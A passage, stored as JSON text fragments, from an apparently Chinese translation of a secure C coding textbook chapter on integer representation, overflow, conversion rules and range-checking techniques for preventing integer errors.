i 。 表5.3 一个8位有符号整型补码值 图5.2展示了一个4位有符号整数的补码表示法。 图5.2 4位有符号整数的补码表示 请注意，给一个4位补码表示的有符号整数的最大值（+7）加1，得到的是该类型的最小值（–8）。 整数表示法比较 。表5.4展示了假定在10位宽并忽略填充位时，一些有趣值的原码、反码和补码表示。 对于数学值0，原码和反码都有两种表示方式：正常0和负0（negative zero）。逻辑操作可能产生负0，但任何算术操作都不允许结果是负0，除非其中一个操作数具有一个负0表示方式。 表5.4 整数表示法比较 在使用补码表示法的计算机上，有符号整数的取值范围是–2 N–1 ～2 N–1 –1。当使用反码表示法和原码表示法时，其取值范围的下界变成–2 N–1 +1，而上界则保持不变。"},
    {"text": "未知 5.2.4 有符号整数的取值范围 在表5.5中的“最小值”列确定每个标准有符号整数类型保证的可移植范围。这些幅值被实现定义的具有相同符号的幅值所取代，如那些为x86–32架构所示的幅值。 表5.5 标准有符号整数类型的可移植范围 C标准要求标准有符号类型的最小宽度分别是：signed char（8）、short（16）、int（16）、long（32）、long long（64）。 一个给定实现的实际宽度可以用<limits.h>中定义的最大可表示值作参考。这些类型对象的大小（存储的字节数）可以由sizeof（typename）确定，这个大小包含填充位（如果有的话）。 一个整数类型的最小值和最大值取决于该类型的表示方式、符号性和宽度。图5.3展示了x86-32上整数类型的取值范围。 图5.3 x86-32上整数类型的取值范围（未按比例绘制） 为什么有这么多的有符号整数 从历史上看，大多数在C代码中的整数类型变量都声明为有符号整数，而不是无符号整数。从表面上看，这似乎很奇怪。大多数整数变量被用作只需要非负值的大小、计数器或索引。那么，为什么不把它们定义为无符号整数，以便有更大的正值范围呢？ 一个可能的解释是在C中缺乏异常处理机制，因此，C程序员已经开发出从函数返回状态的各种机制。虽然C程序员可以在一个“按引用调用”的实参中返回状态，但首选机制是用函数的返回值提供状态。函数的用户随后可以直接用if-else语句测试返回状态，而不是为返回状态分配一个变量。当函数通常不返回值时，这种方法能正常工作，但是如果该函数已经返回了值，该怎么办呢？ 常见的解决方案是，确定一个无效的返回值，并用它来代表一个错误情况。正如已经指出的，整数的大多数应用中产生非负范围内的值，所以，由此能够用一个负的返回值表示错误情况。然而，为了存储这些值，程序员必须声明有符号量，而不是无符号量—这也可能加剧了有符号整数丛生的情况。 未知 5.2.5 整数溢出 当一个有符号整数运算的结果值不能用结果类型表示时就会发生溢出。在C中有符号整数溢出是未定义的行为，从而允许实现默默地回绕（最常见的行为）、陷阱，或两者兼而有之。因为在大多数现有的C编译器中有符号整数溢出产生一种默默地回绕，所以一些程序员认为，这是一个已良好定义的行为。 （资料来源：xkcd.com，署名–非商业性使用–共同创作共享许可） 下面的代码展示了在默默地回绕的平台上有符号整数溢出的后果。有符号整数i被赋予其最大值2147483647，然后递增。此操作导致一个整数溢出，i被赋予值–2147483648（为int类型的最小值）。操作的结果（2147483647+1=–2147483648）是明显的数学错误。 1 int i; 2 i = INT_MAX; // 2,147,483,647 3 i++; 4 printf(\"i = %d\\n\", i); /* i = -2,147,483,648 */ 对已经在其最小值的有符号整数进行递减也会发生整数溢出。 1 i = INT_MIN; // -2,147,483,648; 2 i--; 3 printf(\"i = %d\\n\", i); /* i = 2,147,483,647 */ 符合标准的C编译器可以用许多方法处理未定义的行为，如完全忽略这种情况（带有不可预知的结果），以文档中记录的方式按环境的特点翻译或执行程序（有或没有发出诊断消息），或终止翻译或执行（发出诊断消息）。因为编译器没有义务产生未定义行为的代码，所以这些行为很可能被优化掉。通过假设未定义行为不会发生，编译器可以生成具有更好的性能特性的代码。例如，GCC4.1.1版本在所有优化级别优化掉了依赖未定义行为的整数表达式。 因为二进制补码表示是不对称的，数值0被表示为“正”数，所以用补码表示的一个给定类型最小负值的相反数不能以那种类型表示。这种不对称表示造成了如下错误。 // 对最小的负值而言，结果是未定义的或错误的 #define abs(n) ((n) < 0 ? -(n) : (n)) 例如，当使用下面的代码把一个字符串转换为一个整数时，也发生了一个类似的错误。 01 int my_atoi(const unsigned char *s) { 02 _Bool neg; 03 int val = 0; 04 if (neg = *s == '-') 05 ++s; 06 while (isdigit(*s)) { 07 if (val > INT_MAX/10) // 这个检查是正确的 08 err: report_error(\"atoi overflow\"); // 假设没有返回 09 else 10 val *= 10; 11 int i = *s++ - '0'; // C 标准要求*s - '0' 工作 12 if (i > INT_MAX - val) // 这个检查是正确的 13 goto err; 14 val += i; 15 } 16 return neg ? -val : val; 17 } 此解决方案的问题是，对于补码的实现，它对一个有效的负值（INT_MIN，如–32768）错误地报告了一个溢出。一个正确的解决方案必须考虑到int的正值范围和负值范围可能有所不同。 表5.6表明可能导致溢出的运算符。 表5.6 可能会导致溢出的运算符"},
    {"text": "未知 5.2.6 字符类型 《C安全编码标准》[Seacord 2008]中，“INT07-C.在把char型用于数值时仅使用明确的signed char或unsigned char型”，建议仅使用signed char和unsigned char类型存储和使用小数值（也就是范围分别在SCHAR_MIN和SCHAR_MAX之间，或0和UCHAR_MAX之间的值），因为这是可移植的保证数据的符号字符类型的唯一方式。平凡的char不应该被用来存储数值，因为编译器有定义char的自由，使其要么与signed char，要么与unsigned char具有相同的范围、表示和行为。 在下面的例子中，char类型的变量c可能是有符号或无符号的。 1 char c = 200; 2 int i = 1000; 3 printf(\"i/c = %d\\n\", i/c); 初始值200（它具有signed int类型）无法在（有符号的）char类型中表示（这是未定义的行为）。编译器应该（但不是必须）诊断这种情况。许多编译器将用标准的由无符号转换到有符号的模字大小（modulo-word-size）规则把200转换为–56，带有或不带警告消息。假设8位补码字符类型，上面这段代码既可以打印出i/c=5（无符号），也可以打印出i/c=-17（有符号）。在有符号的情况下，值200超过SCHAR_MAX（在此实例中，它是+127）。 此外，8位无符号200和8位补码（有符号）–56的位模式是相同的，但是，使用反码，该规则将仍然生成值–56，但位模式会有所不同。 当你不知道整数是有符号还是无符号的时候，推断程序的正确性要困难得多。声明unsigned char型变量c，使后面的除法操作与char的符号性无关，因此它有一个可预见的结果。 1 unsigned char c = 200; 2 int i = 1000; 3 printf(\"i/c = %d\\n\", i/c); 未知 5.2.7 数据模型 对于一个给定的编译器，数据模型定义了为标准数据类型分配的大小。这些数据模型通常使用一个XXXn的模式命名，其中每个X都指一个C类型，而n指的是大小（通常为32或64），通常命名为： ·ILP64：int、long和指针类型是64位宽。 ·LP32：long和指针是32位宽。 ·LLP64：long long和指针是64位宽。 例如，x86-32的数据模型是ILP32，如表5.7所示。 表5.7 通用处理器的数据模型"},
    {"text": "这些类型包括扩展的整数类型（extended integer type），它们是可选的、由实现定义的、完全支持的扩展，与标准的整数类型一起，组成整数类型的一般类。"},
    {"text": "） size_t 。 size_t是无符号整数类型的sizeof运算符的结果，它在标准头文件<stddef.h>中被定义。 size_t类型的变量保证有足够的精度来表示一个对象的大小。"},
    {"text": "C标准委员会引入size_t是为了消除可移植性的问题，因为在某些情况下，unsigned int太小，无法表示地址空间的大小，而有时unsigned long long又太大（因而效率不高）。"},
    {"text": "声明一个包含大小的变量的可移植且高效的方式为： size_t n = sizeof(thing); 同样，定义一个带有大小参数的函数foo的可移植和高效的方式为： void foo(size_t thing); 带有size_t类型参数的函数往往有向上或向下计数到数组大小和数组索引的局部变量，用size_t作为这些变量的类型往往是很好的。 同样，代表数组中元素计数的变量应该声明为size_t类型，对于字符数组来说，如果元素计数与系统中分配的最大对象一样大，则尤为如此。"},
    {"text": "例如，下面的声明： T *p, *q; 对于任何非空类型T，可以编写如下表达式： d = p - q; 如果把d声明为： ptrdiff_t d; 则任何标准C编译器编译时，前面的赋值应该会正确执行。 如果把d声明为某个其他整数类型，如 int d; 则前面的赋值可能会由编译器产生一个警告，或者更糟的是，在运行时默默地截断被赋予的值，例如，如果在那个实现中，ptrdiff_t为long long int的别名。"},
    {"text": "由C标准定义的可接受的最低限是 mytypedef_t x; printf(\"%llu\", (unsigned long long) x); 这些限制规定，任何16位的实现必须有至少17位ptrdiff_t来表示所有16位指针可能的差异。"},
    {"text": "然而，在两个指针相减的结果无法用ptrdiff_t类型对象表示的情况下，C允许一种实现，通过使其成为未定义的行为，使得该实现中ptrdiff_t是32位的。"},
    {"text": "intmax_t和uintmax_t。 intmax_t和uintmax_t是具有最大宽度的整数类型，它们可以表示任何其他具有相同符号性的整数类型所能表示的任何值。 在其他应用程序中，还会将intmax_t、uintmax_t用于程序员定义的整数类型上的格式化I/O。"},
    {"text": "例如，假设有个实现，它支持128位的无符号整数，并提供了uint_fast128_t类型，程序员可以定义下列类型： typedef uint_fast128_t mytypeddf_t 当格式化输出函数（如printf（）函数）、格式化输入函数（如scanf（）函数）使用这些类型时，会带来一些问题。"},
    {"text": "例如，下面的代码打印x的值作为一个unsigned long long，即使该值是一个由程序员定义的整数类型。 mytypedef_t x; printf(\"%llu\", (unsigned long long) x); 不能保证这段代码能够打印正确的x值，因为x可能太大，而无法表示为unsigned long long。"},
    {"text": "intmax_t和uintmax_t类型能够表示任何其他具有相同符号性的整数类型表示的任何值，允许在程序员定义的整数类型（相同符号性）与intmax_t和uintmax_t类型之间进行转换。"},
    {"text": "01 mytypedef_t x; 02 uintmax_t temp; 03 /* ... */ 04 temp = x; /* 始终是安全的*/ 05 06 /* ... 改变temp 的值... */ 07 08 if (temp <= MYTYPEDEF_MAX) { 09 x = temp; 10 } 格式化I/O函数可用于输入和输出最大宽度的整数类型值。"},
    {"text": "在格式字符串中的j长度修饰符表明以下d、i、o、u、x、X或n转换说明符将适用于一个类型为intmax_t或uintmax_t的参数。 下面的代码保证打印正确的x值，无论它的长度是多少，如果mytypedef_t是无符号类型： mytypedef_t x; printf(\"%ju\", (uintmax_t) x); 除了程序员定义的类型，不要求实现提供实现定义的整数类型的格式长度修饰符。"},
    {"text": "《CERT C安全编码标准》[Seacord 2008]中“INT15-C.把intmax_t或uintmax_t用于程序员定义的整数类型的格式化IO”提供了intmax_t和uintmax_t类型使用方法的进一步的例子。"},
    {"text": "·int#_t、uint#_t，其中#代表一个确切的宽度，如int8_t、uint24_t ·int_least#_t、uint_least#_t，其中#代表宽度值，如int_least32_t、uint_least16_t ·int_fast#_t、uint_fast#_t，其中#代表最快的整数类型宽度的值，如int_fast16_t、uint_fast64_t 头文件<stdint.h>还为扩展类型定义了表示相应的最大值（对于有符号类型，还有最小值）的常数宏。"},
    {"text": "例如，Microsoft Windows API定义了大量的整数类型，包括__int8、__int16、__int32、__int64、ATOM、BOOLEAN、BOOL、BYTE、CHAR、DWORD、DWORDLONG、DWORD32、DWORD64、WORD、INT、INT32、INT64、LONG、LONG32、LONGLONG、LONG64等。"},
    {"text": "未知 5.3 整数转换 5.3.1 转换整数 转换是一种用于表示赋值、类型强制转换或者计算的结果值的底层数据类型的改变。 从具有某个宽度的类型向一种具有更大宽度的类型转换，通常会保留数学值。然而，相反方向的转换很容易导致高位的损失（涉及有符号整数类型时甚至会更糟），除非该值的幅值一直足够小，可以被正确地表示。 转换是强制转换时显式发生的或作为一个操作的需要而隐式发生的。例如，当对混合数据类型执行操作，或者一个值需要被转换为一个合适的参数类型时，就会发生隐式转换。 例如，大多数C程序员在将一个unsigned char加到一个signed char上，并将结果存储到一个short int中之前不会进行更多的思考，在这种情况下，C编译器会自动执行必要的转换，以便“正好”按照程序员的观点“进行操作”。虽然隐式转换简化了编程，但也可能会导致数据丢失或错误解释。这一节描述转换执行的机理和时机，并识别其中的陷阱。 C标准规定了C编译器应该如何处理转换操作。下面将分别讨论这些规则，包括：整数类型提升（ integer promotion ）、整数转换级别（ integer conversion rank ）以及普通算术转换（ usual arithmetic conversion ）。 未知 5.3.2 整数转换级别 每一种整数类型都有一个相应的整数转换级别，它决定了转换操作将会如何执行。 下面列出了C标准定义的用于决定整数转换级别的规则。 ·没有任何两种不同的有符号整数类型具有相同的级别，即使它们的表示法相同。 ·有符号整数类型的级别比任何精度比它低的有符号整数类型的级别高。 ·long long int类型的级别比long int高；long int的级别比int高；int的级别比short int高；short int的级别比signed char高。 ·无符号整数类型的级别与对应的有符号整数类型的级别相同（如果相应的有符号整数类型存在的话）。 ·标准整数类型的级别高于具有同样宽度的扩展整数类型的级别。 ·_Bool类型的级别应当低于所有其他标准整数类型。 ·char、signed char和unsigned char三种类型的级别相同。 ·与“其他具有相同精度的扩展有符号整数类型”相关的任何扩展有符号整数类型的级别由具体实现定义，但它们仍然要遵从用于决定整数转换级别的其他规则。 ·对T1、T2、T3三种整数类型，如果T1的级别比T2高，T2的级别又比T3高，那么T1的级别也比T3高。 ·C标准建议用于size_t和ptrdiff_t类型的整数转换级别不应高于signed long int,除非该实现支持足够大的对象使得这成为必要。 整数转换级别为整数类型提供了一个标准的级别顺序，它可用于为计算决定常见的类型。 未知 5.3.3 整数类型提升 如果一个整数类型具有低于或等于int或unsigned int的整数转换级别，那么它的对象或表达式在用于一个需要int或unsigned int的表达式时，就会被提升。整数类型提升被作为普通算术转换的一个组成部分。 整数提升保留值，其中包括符号。如果在所有的原始值中，较小的类型可以被表示为一个int，那么 ·原始值较小的类型会被转换成int。 ·否则，它被转换成unsigned int。 下面的代码片段示范了整数类型提升的使用。 1 int sum; 2 char c1, c2; 3 sum = c1 + c2; 整数类型提升规则要求把这个例子中的每个变量（c1和c2）都提升到int类型。然后把两个int类型的数据相加，得到一个int类型的值，并且该结果被保存在整数类型变量sum中。 之所以需要整数类型提升，主要是为了防止运算过程中中间结果发生溢出而导致算术错误，也为了在该架构中以自然的大小执行操作。在下面的代码片段中，c1的值与c2的值相乘，其积又被除以c3的值（由运算符优先规则决定）。在一个实际的实现中，编译器有权利对这些子表达式的求值重新排序。 1 signed char cresult, c1, c2, c3; 2 c1 = 100; 3 c2 = 3; 4 c3 = 4; 5 cresult = c1 * c2 / c3; 如果该表达式按照这个顺序求值，而没有整数类型提升，那么在用8位补码表示signed char的平台上，c1与c2相乘的结果可能会因超过这些平台上signed char类型的最大值（+127）而引起signed char类型的溢出。然而，由于发生了整数类型提升，c1、c2和c3都被转换为int（它的最小取值范围是–32767～+32767），因此整个表达式的结果能够被成功地计算出来。该结果随后被截断，并被存储在cresult中。由于结果位于signed char类型的取值范围内，因此该截断操作并不会导致数据丢失或数据解释错误。 另一个例子是对一个类型为unsigned char的值应用按位取反操作。 unsigned char uc = UCHAR_MAX; // 0xFF int i = ~uc; 例如，在x86-32架构中，uc被赋予值0xFF。当uc用作求反运算符“~”的操作数时，通过使用零扩展把它扩展为32位，它就被提升为signed int类型。 0x000000FF 对这个值按位求反的结果是 0xFFFFFF00 因此，在这个平台上，该操作始终产生一个类型为signed int的负值。"},
    {"text": "未知 5.3.4 普通算术转换 普通算术转换是一套规则，它在 ·二进制运算符的两个操作数具有一致的通用类型 ·条件运算符（?:）的第二个和第三个参数具有一致的通用类型时，提供了一种机制以得到一个常用类型（技术上称为一个通用实类型（ common real type ））。 一致性转换涉及不同类型的两个操作数。其中一个操作数或者两个操作数都可能被转换。 很多接受整数操作数的运算符都采用普通算术转换（ usual arithmetic conversion ）对其操作数进行转换。这些运算符包括*、/、%、+、-、<、>、<=、>=、==、!=、&、^、|和条件运算符（?:）。当整数类型提升规则被同时应用到两个操作数之后，以下规则会被应用到已提升的操作数上。 1.如果两个操作数具有相同的类型，则不需要进一步的转换。 2.如果两个操作数拥有相同的整数类型（有符号或无符号），具有较低整数转换级别的类型的操作数会被转换到拥有较高级别的操作数的类型。例如，如果一个singed int操作数和一个signed long操作数并列，那么singed int操作数被转换为signed long。 3.如果无符号整数类型操作数的级别大于或等于另一个操作数类型的级别，则有符号整数类型操作数将被转换为无符号整数类型操作数的类型。例如，如果一个singed int操作数和一个unsigned int操作数并列，那么singed int操作数将转换为unsigned int。 4.如果有符号整数类型操作数类型能够表示无符号整数类型操作数类型的所有可能值，则无符号整数类型操作数将被转换为有符号整数类型操作数的类型。例如，如果一个64位补码singed long操作数和一个32位补码unsigned int操作数并列，那么unsinged int操作数将转换为signed long。 5.否则，两个操作数都将转换为与有符号整数类型操作数类型相对应的无符号整数类型。 未知 5.3.5 由无符号整数类型转换 从较小的无符号整数类型转换到较大的无符号整数类型始终是安全的，通常通过对其值进行零扩展（zero-extending）而完成。 当表达式包含不同宽度的无符号整数操作数时，C标准要求每个操作的结果都具有其中较宽的操作数的类型（和表示范围）。假设相应的数学运算产生一个在结果类型能表示的范围内的结果，则得到的表示值就是那个数学值。 如果数学结果值不能用结果类型表示，会发生什么情况呢？ 无符号，损失精度 。仅对无符号整数类型而言，C规定：值是以模2 w（type） 取余，其中2 w（type） 是比可以用结果类型表示的最大值大1的数。 假设以下声明在w（unsigned char）是8的一个实现上编译： unsigned int ui = 300; unsigned char uc = ui; 当uc被赋予存储在ui中的值时，值300以模2 8 取余，或300–256=44。 把一个无符号整数类型的值转换为较窄的宽度的值被良好地定义为以较窄的宽度为模取余。这是通过截断较大值并保留其低位实现的。如果该值不能在新的类型中表示，那么数据就会丢失。如果程序员没有预见到这种可能性，就可能发生一个编程错误或漏洞。 当一个值不能在新的类型中表示时，任何大小的有符号和无符号整数类型之间发生的转换都可能会导致数据丢失或错误解释。 无符号值转换成有符号值 。当一个大的无符号值转换成宽度相同的有符号类型时，C标准规定，当起始值不能在新的（有符号）类型中表示时： ·结果是由实现定义的，或 ·发出一个实现定义的信号。 最低限度，依赖于实现定义的行为是一个移植问题，并且如果程序员对此始料不及，就会成为可能的错误来源。 一种常见的实现是不发出信号，但保留位模式，所以不会丢失任何数据。在这种情况下，高位变成符号位。如果符号位被设置，那么值的符号和大小都会变化。例如，如果unsigned int的值是UINT_MAX-1，如图5.4所示，则相应的有符号值是–2。 图5.4 无符号二进制补码转换 从一个无符号的类型转换为有符号类型时，可能发生类型范围错误，包括损失数据（截断）和损失符号（符号错误）。当把一个大的无符号整数转换为一个较小的有符号整数类型时，值会被截断，且最高位变成符号位。由此产生的值可能是负的或正的，这取决于截断后的高位值。如果该值不能在新的类型中表示，数据将会丢失（或错误解释）。如果程序员没有预见到这种可能性，就可能发生一个编程错误或漏洞。 下面的例子在大多数实现中都会导致截断错误。 1 unsigned long int ul = ULONG_MAX; 2 signed char sc; 3 sc = (signed char)ul; /* 强制转换消除了警告 */ 当从一个无符号类型转换为有符号类型时，应验证范围。例如，可以用下面的代码把unsigned long int转换为一个signed char。 1 unsigned long int ul = ULONG_MAX; 2 signed char sc; 3 if (ul <= SCHAR_MAX) { 4 sc = (signed char)ul; /* 使用强制转换来消除警告*/ 5 } 6 else { 7 /* 处理错误情况*/ 8 } 表5.8总结了x86-32架构中无符号整数类型的转换。 表5.8 无符号整数类型的转换 此表不包括有符号/无符号int（在x86-32中，其大小与long是一样的）和有符号/无符号long long。"},
    {"text": "未知 5.3.6 由有符号整数类型转换 从较小的有符号整数类型转换为较大的有符号整数类型始终是安全的，并可以采用对该值进行符号扩展的方法在补码表示中实现。 有符号，损失精度 。把有符号整数类型的值转换为更窄宽度的结果是实现定义的，或者可能引发一个实现定义的信号。一个常见的实现是截断成较小者的尺寸。在这种情况下，所得到的值可能是负的或正的，视截断后的高位值而定。如果该值不能在新的类型中表示，那么数据将会丢失（或错误解释）。如果程序员没有预见到这种可能性，就可能会发生编程错误或漏洞。 例如，对于int宽度大于short宽度的实现，下面的代码具有实现定义的行为或可能发出实现定义的信号。 signed long int sl = LONG_MAX; signed char sc = (signed char)sl; /* 强制转换消除了警告*/ 对于一个典型的、其中sc被截断的实现，sc=-1。 当从一个有符号类型转换到精度较低的有符号类型时，应验证范围。例如，可以使用下面的代码把一个signed int转换为signed char： 1 signed long int sl = LONG_MAX; 2 signed char sc; 3 if ( (sl < SCHAR_MIN) || (sl > SCHAR_MAX) ) { 4 /* 处理错误情况*/ 5 } 6 else { 7 sc = (signed char)sl; /* 使用强制转换来消除警告*/ 8 } 从较高精度的有符号类型转换为较低精度的有符号类型需要同时对上限和下限进行检查。 从有符号转换到无符号 。当有符号和无符号整数类型混合操作时，由普通算术转换确定常见的类型，这个类型至少将具有所涉及的类型中最宽的宽度。C要求如果数学的结果能够用那个宽度表示，那么会产生该值。当将一个有符号整数类型转换为无符号整数类型时，反复加上或减去新类型的宽度（2 N ）会使结果落在能够表示的范围内。 当把一个有符号整数的值转换为一个宽度相等或更大的无符号整数的值并且有符号整数的值不为负时，该值是不变的。例如，当使用补码表示时，使用对有符号值进行符号扩展的办法可以转换为宽度较大的整数类型。 例如，下面的代码对c（一个有符号整数）的值和ui（在x86-32上一个更大的无符号整数）的值进行比较： 1 unsigned int ui = ULONG_MAX; 2 signed char c = -1; 3 if (c == ui) { 4 puts(\"Why is -1 = 4,294,967,295???\"); 5 } 由于整数提升，c被转换为unsigned int类型的值0xFFFFFFFF，即4294 967295。这是负值和无符号值的比较中固有问题的一个很好的例子。 从有符号类型转换为无符号类型时，可能发生类型范围错误，包括数据丢失（截断）和损失符号（符号错误）。下面的代码会导致损失符号： signed int si = INT_MIN; unsigned int ui = (unsigned int)si; /* 强制转换消除了警告 */ 当将一个有符号整数类型转换为一个宽度相等的无符号整数类型时，不会丢失任何数据，因为保留了位模式。然而，高位失去了它的符号位功能。如果有符号整数的值不为负，则该值不变。如果该值为负，则得到的无符号的值被求值为一个大的有符号整数。例如，如图5.5所示，如果有符号的值是–2，那么相应的无符号的int值是UINT_MAX-1。 图5.5 补码转换为无符号 从有符号类型转换为无符号类型时，应验证取值范围。例如，可以使用下面的代码把signed int转换为unsigned int： 1 signed int si = INT_MIN; 2 unsigned int ui; 3 if (si < 0) { 4 /* 处理错误情况 */ 5 } 6 else { 7 ui = (unsigned int)si; /* 强制转换消除了警告 */ 8 } 表5.9总结了x86-32平台上有符号整数类型的转换。表中省略了signed int的转换，因为在此架构中int和long都具有32位精度。 表5.9 x86-32平台上有符号整数类型的转换 未知 5.3.7 转换的影响 隐式转换简化了C语言编程。然而，转换存在潜在的数据丢失或错误解释问题。请避免导致下列结果的转换： ·损失值：转换为值的大小不能表示的一种类型 ·损失符号：从有符号类型转换为无符号类型，导致损失符号 唯一的对所有数据值和所有符合标准的实现都保证安全的整数类型转换是转换为符号相同而宽度更宽的类型。 未知 5.4 整数操作 整数操作可能会导致异常情况下的错误，如溢出、回绕和截断。当某个操作产生的结果不能在操作结果类型中表示时，就会发生异常情况。 表5.10表示执行整数操作时可能的异常情况。不包括在操作数统一到常见的类型时应用普通算术转换所造成的错误。 表5.10 异常情况 注：a虽然右移负值未被C标准作为一个异常情况分类，但它也产生实现定义的结果。 正如你从表5.10中所见，大多数整数运算都会产生异常情况，即使是在没有发生强制类型转换的情况下。对安全特别重要的操作是来自不可信来源并用于以下任何一种方式的整数值的操作。 ·作为数组索引 ·在任何指针的算术运算中 ·作为一个对象的长度或大小 ·作为一个数组边界（例如，一个循环计数器） ·作为内存分配函数的一个参数 ·在对安全要求很关键的代码中 在下面的章节中，我们考察整数运算，讨论可能产生的异常情况，并审查有效的缓解策略。对这些整数操作的高级别语义（C标准所定义的），以及这些操作在x86-32上的具体实现都进行了说明。有符号溢出和无符号回绕都被描述为适当的先验条件和后验条件测试。"},
    {"text": "未知 5.4.1 赋值 在简单的赋值（=）中，右操作数的值被转换为赋值表达式的类型并替换存储在左操作数所指定的对象的值。这些转换隐式地发生，并往往是一个微妙错误的来源。 在下面的程序片段中，函数f（）返回的int值可能在存储到char时被截断，然后在比较之前将其转换回int宽度： 1 int f(void); 2 char c; 3 /* ... */ 4 if ((c = f()) == -1) 5 /* ... */ 在“普通”char具有与unsigned char（char比int窄）相同的取值范围的实现中，转换的结果不能为负，所以上面比较的操作数永远无法比较为相等。因此，为了有充分的可移植性，变量c应声明为int类型。 在下面的程序片段中，i的值被转换为c=i赋值表达式的类型，那就是，char类型。 1 char c; 2 int i; 3 long l; 4 l = (c = i); 然后包含在括号中的表达式的值被转换为括号外的赋值表达式的类型，即long int型。如果i的值不在char的取值范围内，那么在这一系列的分配后，比较表达式l==i是不会为真的。 用一个有符号整数为一个无符号整数赋值，或者用一个无符号整数为一个宽度相等的有符号整数赋值，都可能导致所产生的值被误解。在下面的程序片段中，一个负的有符号值被转换为宽度相等的无符号类型。 1 int si = -3; 2 unsigned int ui = si; 3 printf(\"ui = %u\\n\", ui); /* ui = 65533 */ 因为新的类型是无符号的，那么通过反复增加或减去比新的类型可以表示的最大值大1的数，该值可以被转换，直到该值落在新的类型的取值范围内。如果作为无符号值访问，结果值会被误解为一个大的正值。 在大多数实现中，通过逆向操作可以轻易地恢复原来的值， si = ui; printf(\"si = %d\\n\", si); /* si = -3 */ 然而，因为结果值不能表示为一个signed int，所以其结果是实现定义的或发出实现定义的信号。在大多数情况下，这段代码不会导致错误。但是，不应专注于特定于平台的转换的细节，而应该专注于按照每一个预期的目的选择合适的宽度和符号性，以及确保类型限制不会被超过的方法。如果做到这一点，那么你就不需要担心实现定义的行为。 当从一个具有较大宽度的类型向较小宽度的类型赋值或强制类型转换时，就会导致发生截断。如果该值不能用结果类型表示，那么数据可能会丢失。例如，在下面的程序片段中，对于一个使用8位表示（2 8 –1，或255）unsigned char的实现，c1和c2相加产生的值在unsigned char的取值范围之外： 1 unsigned char sum, c1, c2; 2 c1 = 200; 3 c2 = 90; 4 sum = c1 + c2; 假设在此实现中，所有unsigned char类型的值都可以表示为int，那么该值就被转换为一个int。加法操作执行成功，也没有产生回绕，但把结果赋值给sum时会被截断，因为unsigned char类型比加法的结果值的宽度更小。因为转换为无符号类型，虽然此运算结果是良好定义的，但如果程序员期望得到数学计算结果，那么它就可能是一个错误。 假设signed int的宽度为32位，signed char的宽度为8位，并且补码表示如下面的程序片段所示。 signed int si = SCHAR_MAX + 1; signed char sc = si; si被初始化为128，在内存中表示为： 00000000 00000000 00000000 10000000 当这个值被赋值配给sc时，它被截断为： 10000000 如果解释为8位补码表示，现在的结果为负值（SCHAR_MIN，或–128），因为高位（符号位）被设置。在这种情况下，数据不能被简单地通过逆向操作恢复： si = sc; 因为这个赋值导致对sc进行符号扩展： 11111111 11111111 11111111 10000000 在这种情况下，符号扩展保留了现值（SCHAR_MIN，或–128）。 数据可以使用适当的强制类型转换来恢复： si = (unsigned char) sc; 但这种方法假定，程序员故意截断为对于表示该值大小太小的整数。这种做法是不推荐的，并且必然是一个错误。"},
    {"text": "两个整数相加的结果总是能够用比两个操作数中较大者的宽度大1位的数来表示，例如，假设有一个用8位的补码表示的signed char类型，最小值SCHAR_MIN是–128。"},
    {"text": "1 si1 + si2 2 mov eax, dword ptr [si1] 3 add eax, dword ptr [si2] 而为两个unsigned int值ui1和ui2的相加生成的指令与前面的指令完全相同，如下所示。 1 ui1 + ui2 2 mov eax, dword ptr [ui1] 3 add eax, dword ptr [ui2] 在每个例子中，第一个加数都被移动到32位eax寄存器，然后加上第二个加数。"},
    {"text": "01 sll = sll1 + sll2; 02 mov eax, dword ptr [sll1] 03 add eax, dword ptr [sll2] 04 mov ecx, dword ptr [ebp-8] 05 adc ecx, dword ptr [ebp-18h] 06 ull = ull1 + ull2; 07 mov eax, dword ptr [ull1] 08 add eax, dword ptr [ull2] 09 mov ecx, dword ptr [ebp-28h] 10 adc ecx, dword ptr [ebp-38h] add指令把低32位相加，如果这个加法出现回绕，那么额外的进位被保存在CF中，然后adc指令把高32位及进位值相加以产生64位的和。"},
    {"text": "在C中有符号溢出是未定义的行为，允许实现默默地回绕（最常见的行为）、陷阱、饱和（固定在最大值/最小值中），或执行实现选择的其他任何行为。"},
    {"text": "01 _Bool add_int(int lhs, int rhs, int *sum) { 02 __asm { 03 mov eax, dword ptr [lhs] 04 add eax, dword ptr [rhs] 05 mov ecx, dword ptr [sum] 06 mov dword ptr [ecx], eax 07 jo short j1 08 mov al, 1 // 1 是成功 09 jmp short j2 10 j1: 11 xor al, al // 0 是失败 12 j2: 13 }; 14 } 虽然该解决方案能够工作，但它存在一些问题。"},
    {"text": "例如，下面的代码： 1 int a = /* ... */; 2 int b = /* ... */; 3 4 int sum = a + b + 3; 将需要以如下方式实现。 1 int a = /* ... */; 2 int b = /* ... */; 3 4 if ( add_int(a, b, &sum) && add_int(sum, 3, &sum) ) { 5 /* 成功 */ 6 } 7 else { 8 /* 溢出 */ 9 } 先验条件测试，补码表示 。"},
    {"text": "01 signed int si1, si2, sum; 02 03 /* 初始化 si1 和 si2 */ 04 05 unsigned int usum = (unsigned int)si1 + si2; 06 07 if ((usum ^ si1) & (usum ^ si2) & INT_MIN) { 08 /* 处理错误情况 */ 09 } else { 10 sum = si1 + si2; 11 } 异或可以被当作一个按位的“不等”操作。"},
    {"text": "01 signed int si1, si2, sum; 02 03 /* 初始化 si1 和 si2 */ 04 05 if ((si2 > 0 && si1 > INT_MAX - si2) || 06 (si2 < 0 && si1 < INT_MIN - si2)) { 07 /* 处理错误情况 */ 08 } 09 else { 10 sum = si1 + si2; 11 } 这个解决方案的可读性和可移植性都更好，但与特定于补码表示的解决方案相比，它的效率可能较低。"},
    {"text": "宽度为w的任意两个有符号的整数值真正的和始终可以用w+1位表示，如图5.7所示。 图5.7 任何两个有符号整数值的真正的和 因此，在另外一个宽度更大的类型中执行加法将始终成功。"},
    {"text": "01 _Bool add_size_t(size_t lhs, size_t rhs, size_t *sum) { 02 __asm { 03 mov eax, dword ptr [lhs] 04 add eax, dword ptr [rhs] 05 mov ecx, dword ptr [sum] 06 mov dword ptr [ecx], eax 07 jc short j1 08 mov al, 1 // 1 是成功 09 jmp short j2 10 j1: 11 xor al, al // 0 是失败 12 j2: 13 }; 14 } 用测试状态标志的方法对回绕进行测试与用检查状态标志测试有符号溢出的方法遭遇同样的问题。"},
    {"text": "01 unsigned int ui1, ui2, usum; 02 03 /* 初始化 ui1 和 ui2 */ 04 05 if (UINT_MAX - ui1 < ui2) { 06 /* 处理错误情况 */ 07 } 08 else { 09 usum = ui1 + ui2; 10 } 后验条件测试 。"},
